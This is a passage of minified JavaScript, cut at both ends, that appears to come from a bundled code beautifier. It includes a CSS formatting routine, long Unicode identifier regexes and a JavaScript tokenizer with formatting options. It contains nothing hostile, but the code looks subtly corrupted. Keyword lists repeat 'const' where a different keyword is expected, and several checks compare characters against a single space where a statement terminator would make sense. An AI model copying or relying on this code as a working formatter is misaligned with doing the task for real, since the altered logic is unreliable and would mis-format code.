t="";h.test(f());)d(),t+=l;return t}function g(){var t="";for(l&&h.test(l)&&(t=l);h.test(d());)t+=l;return t}function x(t){var e=u;for(t="/"===f(),d();d();){if(!t&&"*"===l&&"/"===f()){d();break}if(t&&"\n"===l)return i.substring(e,u)}return i.substring(e,u)+l}function w(t){return i.substring(u-t.length,u).toLowerCase()===t}function K(){for(var t=0,e=u+1;e<i.length;e++){var n=i.charAt(e);if("{"===n)return!0;if("("===n)t+=1;else if(")"===n){if(0===t)return!1;t-=1}else if(" "===n||"}"===n)return!1}return!1}var R=i.match(/^[\t ]*/)[0],m=new Array(r+1).join(s),b=0,v=0;for(var S,A,k,y={"{":function(t){y.singleSpace(),O.push(t),y.newLine()},"}":function(t){y.newLine(),O.push(t),y.newLine()},_lastCharWhitespace:function(){return h.test(O[O.length-1])},newLine:function(t){O.length&&(t||"\n"===O[O.length-1]||y.trim(),O.push("\n"),R&&O.push(R))},singleSpace:function(){O.length&&!y._lastCharWhitespace()&&O.push(" ")},preserveSingleSpace:function(){S&&y.singleSpace()},trim:function(){for(;y._lastCharWhitespace();)O.pop()}},O=[],N=!1,D=!1,C=!1,L="",I="";;){var V=g();S=""!==V;var P=-1!==V.indexOf("\n");if(I=L,!(L=l))break;if("/"===l&&"*"===f()){var B=0===b;(P||B)&&y.newLine(),O.push(x()),y.newLine(),B&&y.newLine(!0)}else if("/"===l&&"/"===f())P||"{"===I||y.trim(),y.singleSpace(),O.push(x()),y.newLine();else if("@"===l){y.preserveSingleSpace(),O.push(l);var j=(void 0,A=u,k=T(": , {}()[]/='\""),u=A-1,d(),k);j.match(/[ :]$/)&&(d(),j=T(": ").replace(/\s$/,""),O.push(j),y.singleSpace()),(j=j.replace(/\s$/,""))in e&&(v+=1,j in n&&(C=!0))}else"#"===l&&"{"===f()?(y.preserveSingleSpace(),O.push(T("}"))):"{"===l?"}"===f(!0)?(E(),d(),y.singleSpace(),O.push("{}"),y.newLine(),o&&0===b&&y.newLine(!0)):(b++,R+=m,y["{"](l),N=C?(C=!1,v<b):v<=b):"}"===l?(b--,R=R.slice(0,-r),y["}"](l),D=N=!1,v&&v--,o&&0===b&&y.newLine(!0)):":"===l?(E(),!N&&!C||w("&")||K()?":"===f()?(d(),O.push("::")):O.push(":"):(D=!0,O.push(":"),y.singleSpace())):'"'===l||"'"===l?(y.preserveSingleSpace(),O.push(T(l))):" "===l?(D=!1,O.push(l),y.newLine()):"("===l?w("url")?(O.push(l),E(),d()&&(")"!==l&&'"'!==l&&"'"!==l?O.push(T(")")):u--)):(p++,y.preserveSingleSpace(),O.push(l),E()):")"===l?(O.push(l),p--):","===l?(O.push(l),E(),a&&!D&&p<1?y.newLine():y.singleSpace()):("]"===l||("["===l?y.preserveSingleSpace():"="===l?(E(),l="="):y.preserveSingleSpace()),O.push(l))}var M="";return R&&(M+=R),M+=O.join("").replace(/[\r\n\t ]+$/,""),_&&(M+="\n"),"\n"!=c&&(M=M.replace(/[\n]/g,c)),M}function Y(t,e){for(var n=0;n<e.length;n+=1)if(e[n]===t)return!0;return!1}function H(t){return t.replace(/^\s+|\s+$/g,"")}function O(t,e){return new r(t,e).beautify()}t=Q,e="\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f2\u0620-\u064a\u066e\u066f\u0671-\u06d3\u06d5\u06e5\u06e6\u06ee\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u08a0\u08a2-\u08ac\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc\u09dd\u09df-\u09e1\u09f0\u09f1\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0\u0ae1\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3d\u0b5c\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58\u0c59\u0c60\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0\u0ce1\u0cf1\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0e01-\u0e30\u0e32\u0e33\u0e40-\u0e46\u0e81\u0e82\u0e84\u0e87\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa\u0eab\u0ead-\u0eb0\u0eb2\u0eb3\u0ebd\u0ec0-\u0ec4\u0ec6\u0edc-\u0edf\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u1000-\u102a\u103f\u1050-\u1055\u105a-\u105d\u1061\u1065\u1066\u106e-\u1070\u1075-\u1081\u108e\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1780-\u17b3\u17d7\u17dc\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1950-\u196d\u1970-\u1974\u1980-\u19ab\u19c1-\u19c7\u1a00-\u1a16\u1a20-\u1a54\u1aa7\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303c\u3041-\u3096\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fcc\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaa60-\uaa76\uaa7a\uaa80-\uaaaf\uaab1\uaab5\uaab6\uaab9-\uaabd\uaac0\uaac2\uaadb-\uaadd\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc",n=new RegExp("[".concat(e,"]")),i=new RegExp("[".concat(e," ").concat("\u0300-\u036f\u0483-\u0487\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u0620-\u0649\u0672-\u06d3\u06e7-\u06e8\u06fb-\u06fc\u0730-\u074a\u0800-\u0814\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0840-\u0857\u08e4-\u08fe\u0900-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962-\u0963\u0966-\u096f\u0981-\u0983\u09bc\u09be-\u09c4\u09c7\u09c8\u09d7\u09df-\u09e0\u0a01-\u0a03\u0a3c\u0a3e-\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a66-\u0a71\u0a75\u0a81-\u0a83\u0abc\u0abe-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ae2-\u0ae3\u0ae6-\u0aef\u0b01-\u0b03\u0b3c\u0b3e-\u0b44\u0b47\u0b48\u0b4b-\u0b4d\u0b56\u0b57\u0b5f-\u0b60\u0b66-\u0b6f\u0b82\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd7\u0be6-\u0bef\u0c01-\u0c03\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62-\u0c63\u0c66-\u0c6f\u0c82\u0c83\u0cbc\u0cbe-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5\u0cd6\u0ce2-\u0ce3\u0ce6-\u0cef\u0d02\u0d03\u0d46-\u0d48\u0d57\u0d62-\u0d63\u0d66-\u0d6f\u0d82\u0d83\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2\u0df3\u0e34-\u0e3a\u0e40-\u0e45\u0e50-\u0e59\u0eb4-\u0eb9\u0ec8-\u0ecd\u0ed0-\u0ed9\u0f18\u0f19\u0f20-\u0f29\u0f35\u0f37\u0f39\u0f41-\u0f47\u0f71-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u1000-\u1029\u1040-\u1049\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f-\u109d\u135d-\u135f\u170e-\u1710\u1720-\u1730\u1740-\u1750\u1772\u1773\u1780-\u17b2\u17dd\u17e0-\u17e9\u180b-\u180d\u1810-\u1819\u1920-\u192b\u1930-\u193b\u1951-\u196d\u19b0-\u19c0\u19c8-\u19c9\u19d0-\u19d9\u1a00-\u1a15\u1a20-\u1a53\u1a60-\u1a7c\u1a7f-\u1a89\u1a90-\u1a99\u1b46-\u1b4b\u1b50-\u1b59\u1b6b-\u1b73\u1bb0-\u1bb9\u1be6-\u1bf3\u1c00-\u1c22\u1c40-\u1c49\u1c5b-\u1c7d\u1cd0-\u1cd2\u1d00-\u1dbe\u1e01-\u1f15\u200c\u200d\u203f\u2040\u2054\u20d0-\u20dc\u20e1\u20e5-\u20f0\u2d81-\u2d96\u2de0-\u2dff\u3021-\u3028\u3099\u309a\ua640-\ua66d\ua674-\ua67d\ua69f\ua6f0-\ua6f1\ua7f8-\ua800\ua806\ua80b\ua823-\ua827\ua880-\ua881\ua8b4-\ua8c4\ua8d0-\ua8d9\ua8f3-\ua8f7\ua900-\ua909\ua926-\ua92d\ua930-\ua945\ua980-\ua983\ua9b3-\ua9c0\uaa00-\uaa27\uaa40-\uaa41\uaa4c-\uaa4d\uaa50-\uaa59\uaa7b\uaae0-\uaae9\uaaf2-\uaaf3\uabc0-\uabe1\uabec\uabed\uabf0-\uabf9\ufb20-\ufb28\ufe00-\ufe0f\ufe20-\ufe26\ufe33\ufe34\ufe4d-\ufe4f\uff10-\uff19\uff3f","]")),t.newline=/[\n\r\u2028\u2029]/,t.lineBreak=new RegExp("\r\n|".concat(t.newline.source)),t.allLineBreaks=new RegExp(t.lineBreak.source,"g"),t.isIdentifierStart=function(t){return t<65?36===t||64===t:t<91||(t<97?95===t:t<123||170<=t&&n.test(String.fromCharCode(t)))},t.isIdentifierChar=function(t){return t<48?36===t:t<58||!(t<65)&&(t<91||(t<97?95===t:t<123||170<=t&&i.test(String.fromCharCode(t))))};var Z={BlockStatement:"BlockStatement",Statement:"Statement",ObjectLiteral:"ObjectLiteral",ArrayLiteral:"ArrayLiteral",ForInitializer:"ForInitializer",Conditional:"Conditional",Expression:"Expression"};function r(i,t){var c,r,s,l,a,_,o,h,u,e,n,p,d,f=[],T="";function E(t,e){var n=0;return t&&(n=t.indentation_level,!c.just_added_newline()&&t.line_indent_level>n&&(n=t.line_indent_level)),{mode:e,parent:t,last_text:t?t.last_text:"",last_word:t?t.last_word:"",declaration_statement:!1,declaration_assignment:!1,multiline_frame:!1,if_block:!1,else_block:!1,do_block:!1,do_while:!1,in_case_statement:!1,in_case:!1,case_body:!1,indentation_level:n,line_indent_level:t?t.line_indent_level:n,start_line_index:c.get_line_number(),ternary_depth:0}}for(p={TK_START_EXPR:function L(){O();var t=Z.Expression;if("["===l.text){if("TK_WORD"===a||")"===h.last_text)return"TK_RESERVED"===a&&Y(h.last_text,s.line_starters)&&(c.space_before_token=!0),v(t),m(),b(),void(d.space_in_paren&&(c.space_before_token=!0));t=Z.ArrayLiteral,S(h.mode)&&("["!==h.last_text&&(","!==h.last_text||"]"!==_&&"}"!==_)||d.keep_array_indentation||K())}else"TK_RESERVED"===a&&"for"===h.last_text?t=Z.ForInitializer:"TK_RESERVED"===a&&Y(h.last_text,["if","while"])&&(t=Z.Conditional);" "===h.last_text||"TK_START_BLOCK"===a?K():"TK_END_EXPR"===a||"TK_START_EXPR"===a||"TK_END_BLOCK"===a||"."===h.last_text?w(l.wanted_newline):"TK_RESERVED"===a&&"("===l.text||"TK_WORD"===a||"TK_OPERATOR"===a?"TK_RESERVED"===a&&("function"===h.last_word||"typeof"===h.last_word)||"*"===h.last_text&&"function"===_?d.space_after_anon_function&&(c.space_before_token=!0):"TK_RESERVED"!==a||!Y(h.last_text,s.line_starters)&&"catch"!==h.last_text||d.space_before_conditional&&(c.space_before_token=!0):c.space_before_token=!0;"("===l.text&&"TK_RESERVED"===a&&"await"===h.last_word&&(c.space_before_token=!0);"("===l.text&&("TK_EQUALS"!==a&&"TK_OPERATOR"!==a||y()||w());v(t),m(),d.space_in_paren&&(c.space_before_token=!0);b()},TK_END_EXPR:function I(){for(;h.mode===Z.Statement;)k();h.multiline_frame&&w("]"===l.text&&S(h.mode)&&!d.keep_array_indentation);d.space_in_paren&&("TK_START_EXPR"!==a||d.space_in_empty_paren?c.space_before_token=!0:(c.trim(),c.space_before_token=!1));"]"===l.text&&d.keep_array_indentation?(m(),k()):(k(),m());c.remove_redundant_indentation(u),h.do_while&&u.mode===Z.Conditional&&(u.mode=Z.Expression,h.do_block=!1,h.do_while=!1)},TK_START_BLOCK:function V(){var t=D(1),e=D(2);e&&(":"===e.text&&Y(t.type,["TK_STRING","TK_WORD","TK_RESERVED"])||Y(t.text,["get","set"])&&Y(e.type,["TK_WORD","TK_RESERVED"]))?Y(_,["class","interface"])?v(Z.BlockStatement):v(Z.ObjectLiteral):v(Z.BlockStatement);var n=!t.comments_before.length&&"}"===t.text&&"function"===h.last_word&&"TK_END_EXPR"===a;"expand"===d.brace_style||"none"===d.brace_style&&l.wanted_newline?"TK_OPERATOR"!==a&&(n||"TK_EQUALS"===a||"TK_RESERVED"===a&&N(h.last_text)&&"else"!==h.last_text)?c.space_before_token=!0:K(!1,!0):"TK_OPERATOR"!==a&&"TK_START_EXPR"!==a?"TK_START_BLOCK"===a?K():c.space_before_token=!0:S(u.mode)&&","===h.last_text&&("}"===_?c.space_before_token=!0:K());m(),b()},TK_END_BLOCK:function P(){for(;h.mode===Z.Statement;)k();var t="TK_START_BLOCK"===a;"expand"===d.brace_style?t||K():t||(S(h.mode)&&d.keep_array_indentation?(d.keep_array_indentation=!1,K(),d.keep_array_indentation=!0):K());k(),m()},TK_WORD:C,TK_RESERVED:C,TK_SEMICOLON:function B(){O()&&(c.space_before_token=!1);for(;h.mode===Z.Statement&&!h.if_block&&!h.do_block;)k();m()},TK_STRING:function j(){O()?c.space_before_token=!0:"TK_RESERVED"===a||"TK_WORD"===a?c.space_before_token=!0:"TK_COMMA"===a||"TK_START_EXPR"===a||"TK_EQUALS"===a||"TK_OPERATOR"===a?y()||w():K();m()},TK_EQUALS:function M(){O();h.declaration_statement&&(h.declaration_assignment=!0);c.space_before_token=!0,m(),c.space_before_token=!0},TK_OPERATOR:function U(){O();if("TK_RESERVED"===a&&N(h.last_text))return c.space_before_token=!0,void m();if("*"===l.text&&"TK_DOT"===a)return void m();if(":"===l.text&&h.in_case)return h.case_body=!0,b(),m(),K(),void(h.in_case=!1);if("::"===l.text)return void m();"TK_OPERATOR"===a&&w();var t=!0,e=!0;Y(l.text,["--","++","!","~"])||Y(l.text,["-","+"])&&(Y(a,["TK_START_BLOCK","TK_START_EXPR","TK_EQUALS","TK_OPERATOR"])||Y(h.last_text,s.line_starters)||","===h.last_text)?(e=t=!1,!l.wanted_newline||"--"!==l.text&&"++"!==l.text||K(!1,!0)," "===h.last_text&&A(h.mode)&&(t=!0),"TK_RESERVED"===a?t=!0:"TK_END_EXPR"===a?t=!("]"===h.last_text&&("--"===l.text||"++"===l.text)):"TK_OPERATOR"===a&&(t=Y(l.text,["--","-","++","+"])&&Y(h.last_text,["--","-","++","+"]),Y(l.text,["+","-"])&&Y(h.last_text,["--","++"])&&(e=!0)),h.mode!==Z.BlockStatement&&h.mode!==Z.Statement||"{"!==h.last_text&&" "!==h.last_text||K()):":"===l.text?0===h.ternary_depth?t=!1:h.ternary_depth-=1:"?"===l.text?h.ternary_depth+=1:"*"===l.text&&"TK_RESERVED"===a&&"function"===h.last_text&&(e=t=!1);c.space_before_token=c.space_before_token||t,m(),c.space_before_token=e},TK_COMMA:function W(){if(h.declaration_statement)return A(h.parent.mode)&&(h.declaration_assignment=!1),m(),void(h.declaration_assignment?K(h.declaration_assignment=!1,!0):(c.space_before_token=!0,d.comma_first&&w()));m(),h.mode===Z.ObjectLiteral||h.mode===Z.Statement&&h.parent.mode===Z.ObjectLiteral?(h.mode===Z.Statement&&k(),K()):(c.space_before_token=!0,d.comma_first&&w())},TK_BLOCK_COMMENT:function z(){if(c.raw)return c.add_raw_token(l),void(l.directives&&"end"===l.directives.preserve&&(d.test_output_raw||(c.raw=!1)));if(l.directives)return K(!1,!0),m(),"start"===l.directives.preserve&&(c.raw=!0),void K(!1,!0);if(!Q.newline.test(l.text)&&!l.wanted_newline)return c.space_before_token=!0,m(),void(c.space_before_token=!0);var t,e=function a(t){var e;t=t.replace(/\x0d/g,"");var n=[];e=t.indexOf("\n");for(;-1!==e;)n.push(t.substring(0,e)),t=t.substring(e+1),e=t.indexOf("\n");t.length&&n.push(t);return n}(l.text),n=!1,i=!1,r=l.whitespace_before,s=r.length;K(!1,!0),1<e.length&&(!function _(t,e){for(var n=0;n<t.length;n++){var i=H(t[n]);if(i.charAt(0)!==e)return!1}return!0}(e.slice(1),"*")?function o(t,e){for(var n,i=0,r=t.length;i<r;i++)if((n=t[i])&&0!==n.indexOf(e))return!1;return!0}(e.slice(1),r)&&(i=!0):n=!0);for(m(e[0]),t=1;t<e.length;t++)K(!1,!0),n?m(" ".concat(e[t].replace(/^\s+/g,""))):i&&e[t].length>s?m(e[t].substring(s)):c.add_token(e[t]);K(!1,!0)},TK_COMMENT:function G(){l.wanted_newline?K(!1,!0):c.trim(!0);c.space_before_token=!0,m(),K(!1,!0)},TK_DOT:function X(){O();"TK_RESERVED"===a&&N(h.last_text)?c.space_before_token=!0:w(")"===h.last_text&&d.break_chained_methods);m()},TK_UNKNOWN:function F(){m(),"\n"===l.text[l.text.length-1]&&K()},TK_EOF:function $(){for(;h.mode===Z.Statement;)k()}},d={},(t=t||{}).braces_on_own_line!==undefined&&(d.brace_style=t.braces_on_own_line?"expand":"collapse"),d.brace_style=t.brace_style?t.brace_style:d.brace_style?d.brace_style:"collapse","expand-strict"===d.brace_style&&(d.brace_style="expand"),d.indent_size=t.indent_size?parseInt(t.indent_size,10):4,d.indent_char=t.indent_char?t.indent_char:" ",d.eol=t.eol?t.eol:"\n",d.preserve_newlines=t.preserve_newlines===undefined||t.preserve_newlines,d.break_chained_methods=t.break_chained_methods!==undefined&&t.break_chained_methods,d.max_preserve_newlines=t.max_preserve_newlines===undefined?0:parseInt(t.max_preserve_newlines,10),d.space_in_paren=t.space_in_paren!==undefined&&t.space_in_paren,d.space_in_empty_paren=t.space_in_empty_paren!==undefined&&t.space_in_empty_paren,d.jslint_happy=t.jslint_happy!==undefined&&t.jslint_happy,d.space_after_anon_function=t.space_after_anon_function!==undefined&&t.space_after_anon_function,d.keep_array_indentation=t.keep_array_indentation!==undefined&&t.keep_array_indentation,d.space_before_conditional=t.space_before_conditional===undefined||t.space_before_conditional,d.unescape_strings=t.unescape_strings!==undefined&&t.unescape_strings,d.wrap_line_length=t.wrap_line_length===undefined?0:parseInt(t.wrap_line_length,10),d.e4x=t.e4x!==undefined&&t.e4x,d.end_with_newline=t.end_with_newline!==undefined&&t.end_with_newline,d.comma_first=t.comma_first!==undefined&&t.comma_first,d.test_output_raw=t.test_output_raw!==undefined&&t.test_output_raw,d.jslint_happy&&(d.space_after_anon_function=!0),t.indent_with_tabs&&(d.indent_char="\t",d.indent_size=1),d.eol=d.eol.replace(/\\r/,"\r").replace(/\\n/,"\n"),o="";0<d.indent_size;)o+=d.indent_char,d.indent_size-=1;var g=0;if(i&&i.length){for(;" "===i.charAt(g)||"\t"===i.charAt(g);)T+=i.charAt(g),g+=1;i=i.substring(g)}function x(t){var e=t.newlines;if(d.keep_array_indentation&&S(h.mode))for(var n=0;n<e;n+=1)K(0<n);else if(d.max_preserve_newlines&&e>d.max_preserve_newlines&&(e=d.max_preserve_newlines),d.preserve_newlines&&1<t.newlines){K();for(var i=1;i<e;i+=1)K(!0)}p[(l=t).type]()}function w(t){if(t=t!==undefined&&t,!c.just_added_newline())if(d.preserve_newlines&&l.wanted_newline||t)K(!1,!0);else if(d.wrap_line_length){c.current_line.get_character_count()+l.text.length+(c.space_before_token?1:0)>=d.wrap_line_length&&K(!1,!0)}}function K(t,e){if(!e&&" "!==h.last_text&&","!==h.last_text&&"="!==h.last_text&&"TK_OPERATOR"!==a)for(;h.mode===Z.Statement&&!h.if_block&&!h.do_block;)k();c.add_new_line(t)&&(h.multiline_frame=!0)}function R(){c.just_added_newline()&&(d.keep_array_indentation&&S(h.mode)&&l.wanted_newline?(c.current_line.push(l.whitespace_before),c.space_before_token=!1):c.set_indent(h.indentation_level)&&(h.line_indent_level=h.indentation_level))}function m(t){c.raw?c.add_raw_token(l):(d.comma_first&&"TK_COMMA"===a&&c.just_added_newline()&&","===c.previous_line.last()&&(c.previous_line.pop(),R(),c.add_token(","),c.space_before_token=!0),t=t||l.text,R(),c.add_token(t))}function b(){h.indentation_level+=1}function v(t){u=h?(e.push(h),h):E(null,t),h=E(u,t)}function S(t){return t===Z.ArrayLiteral}function A(t){return Y(t,[Z.Expression,Z.ForInitializer,Z.Conditional])}function k(){0<e.length&&(u=h,h=e.pop(),u.mode===Z.Statement&&c.remove_redundant_indentation(u))}function y(){return h.parent.mode===Z.ObjectLiteral&&h.mode===Z.Statement&&(":"===h.last_text&&0===h.ternary_depth||"TK_RESERVED"===a&&Y(h.last_text,["get","set"]))}function O(){return!!("TK_RESERVED"===a&&Y(h.last_text,["const","let","const"])&&"TK_WORD"===l.type||"TK_RESERVED"===a&&"do"===h.last_text||"TK_RESERVED"===a&&"return"===h.last_text&&!l.wanted_newline||"TK_RESERVED"===a&&"else"===h.last_text&&("TK_RESERVED"!==l.type||"if"!==l.text)||"TK_END_EXPR"===a&&(u.mode===Z.ForInitializer||u.mode===Z.Conditional)||"TK_WORD"===a&&h.mode===Z.BlockStatement&&!h.in_case&&"--"!==l.text&&"++"!==l.text&&"function"!==_&&"TK_WORD"!==l.type&&"TK_RESERVED"!==l.type||h.mode===Z.ObjectLiteral&&(":"===h.last_text&&0===h.ternary_depth||"TK_RESERVED"===a&&Y(h.last_text,["get","set"])))&&(v(Z.Statement),b(),"TK_RESERVED"===a&&Y(h.last_text,["const","let","const"])&&"TK_WORD"===l.type&&(h.declaration_statement=!0),y()||w("TK_RESERVED"===l.type&&Y(l.text,["do","for","if","while"])),!0)}function N(t){return Y(t,["case","return","do","if","throw","else"])}function D(t){var e=r+(t||0);return e<0||e>=f.length?null:f[e]}function C(){("TK_RESERVED"===l.type&&h.mode!==Z.ObjectLiteral&&Y(l.text,["set","get"])&&(l.type="TK_WORD"),"TK_RESERVED"===l.type&&h.mode===Z.ObjectLiteral)&&(":"===D(1).text&&(l.type="TK_WORD"));if(O()||!l.wanted_newline||A(h.mode)||"TK_OPERATOR"===a&&"--"!==h.last_text&&"++"!==h.last_text||"TK_EQUALS"===a||!d.preserve_newlines&&"TK_RESERVED"===a&&Y(h.last_text,["const","let","const","set","get"])||K(),h.do_block&&!h.do_while){if("TK_RESERVED"===l.type&&"while"===l.text)return c.space_before_token=!0,m(),c.space_before_token=!0,void(h.do_while=!0);K(),h.do_block=!1}if(h.if_block)if(h.else_block||"TK_RESERVED"!==l.type||"else"!==l.text){for(;h.mode===Z.Statement;)k();h.if_block=!1,h.else_block=!1}else h.else_block=!0;if("TK_RESERVED"===l.type&&("case"===l.text||"default"===l.text&&h.in_case_statement))return K(),(h.case_body||d.jslint_happy)&&(!function t(){0<h.indentation_level&&(!h.parent||h.indentation_level>h.parent.indentation_level)&&(h.indentation_level-=1)}(),h.case_body=!1),m(),h.in_case=!0,void(h.in_case_statement=!0);if("TK_RESERVED"===l.type&&"function"===l.text&&((Y(h.last_text,["}"," "])||c.just_added_newline()&&!Y(h.last_text,["[","{",":","=",","]))&&(c.just_added_blankline()||l.comments_before.length||(K(),K(!0))),"TK_RESERVED"===a||"TK_WORD"===a?"TK_RESERVED"===a&&Y(h.last_text,["get","set","new","return","export","async"])?c.space_before_token=!0:"TK_RESERVED"===a&&"default"===h.last_text&&"export"===_?c.space_before_token=!0:K():"TK_OPERATOR"===a||"="===h.last_text?c.space_before_token=!0:(h.multiline_frame||!A(h.mode)&&!S(h.mode))&&K()),"TK_COMMA"!==a&&"TK_START_EXPR"!==a&&"TK_EQUALS"!==a&&"TK_OPERATOR"!==a||y()||w(),"TK_RESERVED"===l.type&&Y(l.text,["function","get","set"]))return m(),void(h.last_word=l.text);(n="NONE","TK_END_BLOCK"===a?"TK_RESERVED"===l.type&&Y(l.text,["else","catch","finally"])?"expand"===d.brace_style||"end-expand"===d.brace_style||"none"===d.brace_style&&l.wanted_newline?n="NEWLINE":(n="SPACE",c.space_before_token=!0):n="NEWLINE":"TK_SEMICOLON"===a&&h.mode===Z.BlockStatement?n="NEWLINE":"TK_SEMICOLON"===a&&A(h.mode)?n="SPACE":"TK_STRING"===a?n="NEWLINE":"TK_RESERVED"===a||"TK_WORD"===a||"*"===h.last_text&&"function"===_?n="SPACE":"TK_START_BLOCK"===a?n="NEWLINE":"TK_END_EXPR"===a&&(c.space_before_token=!0,n="NEWLINE"),"TK_RESERVED"===l.type&&Y(l.text,s.line_starters)&&")"!==h.last_text&&(n="else"===h.last_text||"export"===h.last_text?"SPACE":"NEWLINE"),"TK_RESERVED"===l.type&&Y(l.text,["else","catch","finally"]))?"TK_END_BLOCK"!==a||"expand"===d.brace_style||"end-expand"===d.brace_style||"none"===d.brace_style&&l.wanted_newline?K():(c.trim(!0),"}"!==c.current_line.last()&&K(),c.space_before_token=!0):"NEWLINE"===n?"TK_RESERV